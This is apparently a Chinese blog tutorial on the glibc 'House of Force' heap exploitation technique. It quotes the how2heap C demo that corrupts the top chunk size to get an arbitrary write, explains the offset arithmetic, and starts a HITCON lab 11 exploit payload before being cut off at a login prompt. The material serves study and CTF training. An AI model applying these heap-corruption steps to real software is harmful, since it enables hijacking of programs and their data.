Erlo

PWN:House Of Force

2020-09-17 11:00:42 发布   343 浏览  
页面报错/反馈
收藏 点赞


House Of Force原理


how2heap 的例子

#include 
#include 
#include 
#include 
#include 
#include 
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
    fprintf(stderr"n欢迎学习 House of Forcenn");
    fprintf(stderr"House of Force 这种方法是去覆写 top chunk 这样 malloc 的时候就可以 malloc 到任意地址n");
    fprintf(stderr"top chunk 是一类特殊的 chunk,在内存最后面。并且是当 malloc 向操作系统请求更多空间时将调整大小的块。n");
    fprintf(stderr"n最后我们会覆盖这个变量 %p.n", bss_var);
    fprintf(stderr"现在变量值是:%sn", bss_var);
    fprintf(stderr"n先分配一个 chunk.n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr"malloc(256) 的地址: %p.n", p1 - 2);
    fprintf(stderr"n现在有两块,一个我们申请的,一个 top chunk.n");
    int real_size = malloc_usable_size(p1);
    fprintf(stderr"我们申请的 chunk 加上 chunk 头,大小是:%ld.n", real_size + sizeof(long)*2);
    fprintf(stderr"n现在假设有一个漏洞,可以覆盖掉 top chunk 的头部分n");
    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
    fprintf(stderr"ntop chunk 起始地址是:%pn", ptr_top);
    fprintf(stderr"n用一个很大的值覆盖掉 top chunk 的 size 位可以防止 malloc 调用 mmapn");
    fprintf(stderr"top chunk 之前的 size:%#llxn", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    fprintf(stderr"top chunk 现在的 size:%#llxn", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    fprintf(stderr"n因为现在 top chunk 的 size 是很大的,所以我们可以调用 malloc 而不会调用 mmapn");
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr"n我们想把数据写在这里:%p, top chunk 在:%p, 还要把 chunk 头算进去,我们将要申请 %#lx 字节.n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    fprintf(stderr"新申请的 chunk 将会与之前的 top chunk 在同一个位置: %pn", new_ptr - sizeof(long)*2);
    void* ctr_chunk = malloc(100);
    fprintf(stderr"n接下来再申请 chunk 的话将会指向我们想要修改的地方n");
    fprintf(stderr"malloc(100) => %p!n", ctr_chunk);
    fprintf(stderr"现在我们就可以控制 bss_var 这块地方的值了n");
    fprintf(stderr"... 之前内容是: %sn", bss_var);
    fprintf(stderr"... 接下来把 "YEAH!!!" 写到那里...n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr"... 新的内容: %sn", bss_var);
}

首先申请了 0x100 大小的 chunk,现在的内存布局如下



修改 top chunk 的 size 为一个很大的数



当我们去申请的时候,新的 top chunk 的地址 new_top 应该是 old_top + size(size 是 malloc 的 chunk 的大小加上 chunk 头的大小),我们想要去控制 new_top 就只能通过控制这个 size

我们想要让 new_top 到 0x602060,0x602060-0x20 =old_top + size,所以这个 size 应该是 0x602040-old_top=0xffffef30 即 0xffffffffffffef30,也就是说只要申请 0xffffffffffffef30 大小的 chunk 就能把 top chunk 改到0x602060-0x10,然后再申请一个的时候就是 0x602060 了


为啥减去了0x20 呐?

我们想要申请到 0x602060 的时候要留出它的 chunk 头 0x10 这就是说 0x602060-0x10 = old_top+size,即 size = 0x602060-0x10 - old_top,但是还要注意,我们去申请 size 的时候实际上申请的是 size+0x10 大小的 chunk,还要把这个 0x10 留出来,即我们要少申请 0x10 大小的 size

所以 size = 0x602060-0x10 - old_top -0x10,减的一共是 0x20


这之后再去申请一个 chunk 就能控制前面定义的变量了



HITCON training lab 11


因为程序一开始会申请一个堆块,存放 hello 和 goodbye 的函数指针,所以思路是把内存申请的那里,然后修改 goodbye 指针为 magic


create(0x30"yichen")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)


先申请一个,然后通过编辑一个更大的 size 把 top chunk 给改掉


登录查看全部

参与评论

评论留言

还没有评论留言,赶紧来抢楼吧~~

手机查看

返回顶部

给这篇文章打个标签吧~

棒极了 糟糕透顶 好文章 PHP JAVA JS 小程序 Python SEO MySql 确认